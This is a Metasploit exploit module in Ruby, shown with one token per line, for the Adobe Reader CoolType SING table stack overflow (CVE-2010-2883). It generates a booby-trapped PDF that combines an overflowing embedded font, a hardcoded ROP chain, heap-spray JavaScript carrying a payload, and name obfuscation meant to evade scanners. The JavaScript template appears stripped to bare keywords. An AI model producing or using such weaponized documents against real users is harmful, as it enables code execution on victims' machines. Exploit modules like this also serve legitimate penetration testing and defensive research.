require
'msf/core'
require
'zlib'
class
Metasploit3 < Msf::Exploit::Remote
Rank
=
GreatRanking
include Msf::Exploit::FILEFORMAT
def
initialize(info
=
{})
super
(update_info(info,
'Name'
=
>
'Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow'
,
'Description'
=
>
%
q{
This module exploits a vulnerability
in
the Smart INdependent Glyplets (SING) table
handling within versions
8.2
.
4
and
9.3
.
4
of Adobe Reader. Prior version are
assumed to be vulnerable as well.
},
'License'
=
> MSF_LICENSE,
'Author'
=
>
[
'Unknown'
,
'@sn0wfl0w'
,
'@vicheck'
,
'jduck'
],
'Version'
=
>
'$Revision: 10477 $'
,
'References'
=
>
[
[
'CVE'
,
'2010-2883'
],
[
'OSVDB'
,
'67849'
],
[
'URL'
,
'http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html'
],
[
'URL'
,
'http://www.adobe.com/support/security/advisories/apsa10-02.html'
]
],
'DefaultOptions'
=
>
{
'EXITFUNC'
=
>
'process'
,
'InitialAutoRunScript'
=
>
'migrate -f'
,
'DisablePayloadHandler'
=
>
'true'
,
},
'Payload'
=
>
{
'Space'
=
>
1000
,
'BadChars'
=
>
"\x00"
,
'DisableNops'
=
> true
},
'Platform'
=
>
'win'
,
'Targets'
=
>
[
[
'Automatic'
, { }],
],
'DisclosureDate'
=
>
'Sep 07 2010'
,
'DefaultTarget'
=
>
0
))
register_options(
[
OptString.new(
'FILENAME'
, [ true,
'The file name.'
,
'msf.pdf'
]),
],
self
.
class
)
end
def
exploit
ttf_data
=
make_ttf()
js_data
=
make_js(payload.encoded)
pdf
=
make_pdf(ttf_data, js_data)
print_status(
"Creating '#{datastore['FILENAME']}' file..."
)
file_create(pdf)
end
def
make_ttf
ttf_data
=
""
path
=
File
.join( Msf::Config.install_root,
"data"
,
"exploits"
,
"cve-2010-2883.ttf"
)
fd
=
File
.
open
( path,
"rb"
)
ttf_data
=
fd.read(fd.stat.size)
fd.close
sing
=
''
sing << [
0
,
1
,
0xe01
,
0x100
,
0
,
0
,
0
,
0x3a00
].pack(
'vvvvvvvv'
)
sing << rand_text(
0x254
-
sing.length)
sing[
0x140
,
4
]
=
[
0x4a8a08e2
-
0x1c
].pack(
'V'
)
ret
=
0x4a80cb38
sing[
0x208
,
4
]
=
[ret].pack(
'V'
)
ret
=
0x4a82a714
sing[
0x18
,
4
]
=
[ret].pack(
'V'
)
esp
=
0x0c0c0c0c
sing[
0x1c
,
4
]
=
[esp].pack(
'V'
)
sing[
0x24c
,
4
]
=
[
0x6c
].pack(
'V'
)
ttf_data[
0xec
,
4
]
=
"SING"
ttf_data[
0x11c
, sing.length]
=
sing
ttf_data
end
def
make_js(encoded_payload)
stack_data
=
[
0x41414141
,
0x4a8063a5
,
0x4a8a0000
,
0x4a802196
,
0x4a801f90
,
0x4a84903c
,
0x4a80b692
,
0x4a801064
,
0x4a8522c8
,
0x10000000
,
0x00000000
,
0x00000000
,
0x00000002
,
0x00000102
,
0x00000000
,
0x4a8063a5
,
0x4a801064
,
0x4a842db2
,
0x4a802ab1
,
0x00000008
,
0x4a80a8a6
,
0x4a801f90
,
0x4a849038
,
0x4a80b692
,
0x4a801064
,
0xffffffff
,
0x00000000
,
0x00000040
,
0x00000000
,
0x00010000
,
0x00000000
,
0x4a8063a5
,
0x4a801064
,
0x4a842db2
,
0x4a802ab1
,
0x00000008
,
0x4a80a8a6
,
0x4a801f90
,
0x4a849030
,
0x4a80b692
,
0x4a801064
,
0xffffffff
,
0x00000022
,
0x00000000
,
0x00000000
,
0x00010000
,
0x4a8063a5
,
0x4a8a0004
,
0x4a802196
,
0x4a8063a5
,
0x4a801064
,
0x4a842db2
,
0x4a802ab1
,
0x00000030
,
0x4a80a8a6
,
0x4a801f90
,
0x4a8a0004
,
0x4a80a7d8
,
0x4a8063a5
,
0x4a801064
,
0x4a842db2
,
0x4a802ab1
,
0x00000020
,
0x4a80a8a6
,
0x4a8063a5
,
0x4a801064
,
0x4a80aedc
,
0x4a801f90
,
0x00000034
,
0x4a80d585
,
0x4a8063a5
,
0x4a801064
,
0x4a842db2
,
0x4a802ab1
,
0x0000000a
,
0x4a80a8a6
,
0x4a801f90
,
0x4a849170
,
0x4a80b692
,
0xffffffff
,
0xffffffff
,
0xffffffff
,
0x00001000
,
].pack(
'V*'
)
var_unescape
=
rand_text_alpha(rand(
100
)
+
1
)
var_shellcode
=
rand_text_alpha(rand(
100
)
+
1
)
var_start
=
rand_text_alpha(rand(
100
)
+
1
)
var_s
=
0x10000
var_c
=
rand_text_alpha(rand(
100
)
+
1
)
var_b
=
rand_text_alpha(rand(
100
)
+
1
)
var_d
=
rand_text_alpha(rand(
100
)
+
1
)
var_3
=
rand_text_alpha(rand(
100
)
+
1
)
var_i
=
rand_text_alpha(rand(
100
)
+
1
)
var_4
=
rand_text_alpha(rand(
100
)
+
1
)
payload_buf
=
''
payload_buf << stack_data
payload_buf << encoded_payload
escaped_payload
=
Rex::Text.to_unescape(payload_buf)
js
=
%
Q|
var
var
var
while
(
while
(
var
for
(
|
js
end
def
RandomNonASCIIString(count)
result
=
""
count.times do
result << (rand(
128
)
+
128
).
chr
end
result
end
def
ioDef(
id
)
"%d 0 obj \n"
%
id
end
def
ioRef(
id
)
"%d 0 R"
%
id
end
def
nObfu(
str
)
result
=
""
str
.scan(
/
.
/
u) do |c|
if
rand(
2
)
=
=
0
and
c.upcase >
=
'A'
and
c.upcase <
=
'Z'
result <<
"#%x"
%
c.unpack(
"C*"
)[
0
]
else
result << c
end
end
result
end
def
ASCIIHexWhitespaceEncode(
str
)
result
=
""
whitespace
=
""
str
.each_byte do |b|
result << whitespace <<
"%02x"
%
b
whitespace
=
" "
*
(rand(
3
)
+
1
)
end
result <<
">"
end
def
make_pdf(ttf, js)
xref
=
[]
eol
=
"\n"
endobj
=
"endobj"
<< eol
pdf
=
"%PDF-1.5"
<< eol
pdf <<
"%"
<< RandomNonASCIIString(
4
) << eol
xref << pdf.length
pdf << ioDef(
1
) << nObfu(
"<<"
) << eol
pdf << nObfu(
"/Pages "
) << ioRef(
2
) << eol
pdf << nObfu(
"/Type /Catalog"
) << eol
pdf << nObfu(
"/OpenAction "
) << ioRef(
11
) << eol
pdf << nObfu(
"/AcroForm "
) << ioRef(
13
) << eol
pdf << nObfu(
">>"
) << eol
pdf << endobj
xref << pdf.length
pdf << ioDef(
2
) << nObfu(
"<<"
) << eol
pdf << nObfu(
"/MediaBox "
) << ioRef(
3
) << eol
pdf << nObfu(
"/Resources "
) << ioRef(
4
) << eol
pdf << nObfu(
"/Kids ["
) << ioRef(
5
) <<
"]"
<< eol
pdf << nObfu(
"/Count 1"
) << eol
pdf << nObfu(
"/Type /Pages"
) << eol
pdf << nObfu(
">>"
) << eol
pdf << endobj
xref << pdf.length
pdf << ioDef(
3
)
pdf <<
"[0 0 595 842]"
<< eol
pdf << endobj
xref << pdf.length
pdf << ioDef(
4
)
pdf << nObfu(
"<<"
) << eol
pdf << nObfu(
"/Font "
) << ioRef(
6
) << eol
pdf <<
">>"
<< eol
pdf << endobj
xref << pdf.length
pdf << ioDef(
5
) << nObfu(
"<<"
) << eol
pdf << nObfu(
"/Parent "
) << ioRef(
2
) << eol
pdf << nObfu(
"/MediaBox "
) << ioRef(
3
) << eol
pdf << nObfu(
"/Resources "
) << ioRef(
4
) << eol
pdf << nObfu(
"/Contents ["
) << ioRef(
8
) << nObfu(
"]"
) << eol
pdf << nObfu(
"/Type /Page"
) << eol
pdf << nObfu(
">>"
) << eol
pdf << endobj
xref << pdf.length
pdf << ioDef(
6
) << nObfu(
"<<"
) << eol
pdf << nObfu(
"/F1 "
) << ioRef(
7
) << eol
pdf <<
">>"
<< eol
pdf << endobj
xref << pdf.length
pdf << ioDef(
7
) << nObfu(
"<<"
) << eol
pdf << nObfu(
"/Type /Font"
) << eol
pdf << nObfu(
"/Subtype /TrueType"
) << eol
pdf << nObfu(
"/Name /F1"
) << eol
pdf << nObfu(
"/BaseFont /Cinema"
) << eol
pdf << nObfu(
"/Widths []"
) << eol
pdf << nObfu(
"/FontDescriptor "
) << ioRef(
9
)
pdf << nObfu(
"/Encoding /MacRomanEncoding"
)
pdf << nObfu(
">>"
) << eol
pdf << endobj
content
=
"Hello World!"
content
=
""
+
"0 g"
+
eol
+
"BT"
+
eol
+
"/F1 32 Tf"
+
eol
+
"32 Tc"
+
eol
+
"1 0 0 1 32 773.872 Tm"
+
eol
+
"("
+
content
+
") Tj"
+
eol
+
"ET"
xref << pdf.length
pdf << ioDef(
8
) <<
"<<"
<< eol
pdf << nObfu(
"/Length %s"
%
content.length) << eol
pdf <<
">>"
<< eol
pdf <<
"stream"
<< eol
pdf << content << eol
pdf <<
"endstream"
<< eol
pdf << endobj
xref << pdf.length
pdf << ioDef(
9
) << nObfu(
"<<"
)
pdf << nObfu(
"/Type/FontDescriptor/FontName/Cinema"
)
pdf << nObfu(
"/Flags %d"
%
(
2
*
*
2
+
2
*
*
6
+
2
*
*
17
))
pdf << nObfu(
"/FontBBox [-177 -269 1123 866]"
)
pdf << nObfu(
"/FontFile2 "
) << ioRef(
10
)
pdf << nObfu(
">>"
) << eol
pdf << endobj
xref << pdf.length
compressed
=
Zlib::Deflate.deflate(ttf)
pdf << ioDef(
10
) << nObfu(
"<</Length %s/Filter/FlateDecode/Length1 %s>>"
%
[compressed.length, ttf.length]) << eol
pdf <<
"stream"
<< eol
pdf << compressed << eol
pdf <<
"endstream"
<< eol
pdf << endobj
xref << pdf.length
pdf << ioDef(
11
) << nObfu(
"<<"
)
pdf << nObfu(
"/Type/Action/S/JavaScript/JS "
)
+
ioRef(
12
)
pdf << nObfu(
">>"
) << eol
pdf << endobj
xref << pdf.length
compressed
=
Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
pdf << ioDef(
12
) << nObfu(
"<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>"
%
compressed.length) << eol
pdf <<
"stream"
<< eol
pdf << compressed << eol
pdf <<
"endstream"
<< eol
pdf << endobj
xref << pdf.length
pdf << ioDef(
13
)
pdf << nObfu(
"<</XFA "
) << ioRef(
14
) << nObfu(
">>"
) << eol
pdf << endobj
xfa
=
<<
-
EOF
<?xml version
=
"1.0"
encoding
=
"UTF-8"
?>
<xdp:xdp xmlns:xdp
=
"http://ns.adobe.com/xdp/"
>
<config xmlns
=
"http://www.xfa.org/schema/xci/2.6/"
>
<present><pdf><interactive>
1
<
/
interactive><
/
pdf><
/
present>
<
/
config>
<template xmlns
=
"http://www.xfa.org/schema/xfa-template/2.6/"
>
<subform name
=
"form1"
layout
=
"tb"
locale
=
"en_US"
>
<pageSet><
/
pageSet>
<
/
subform><
/
template><
/
xdp:xdp>
EOF
xref << pdf.length
pdf << ioDef(
14
) << nObfu(
"<</Length %s>>"
%
xfa.length) << eol
pdf <<
"stream"
<< eol
pdf << xfa << eol
pdf <<
"endstream"
<< eol
pdf << endobj
xrefPosition
=
pdf.length
pdf <<
"xref"
<< eol
pdf <<
"0 %d"
%
(xref.length
+
1
) << eol
pdf <<
"0000000000 65535 f"
<< eol
xref.each do |index|
pdf <<
"%010d 00000 n"
%
index << eol
end
pdf <<
"trailer"
<< eol
pdf << nObfu(
"<</Size %d/Root "
%
(xref.length
+
1
)) << ioRef(
1
) <<
">>"
<< eol
pdf <<
"startxref"
<< eol
pdf << xrefPosition.to_s() << eol
pdf <<
"%%EOF"
<< eol
pdf
end
end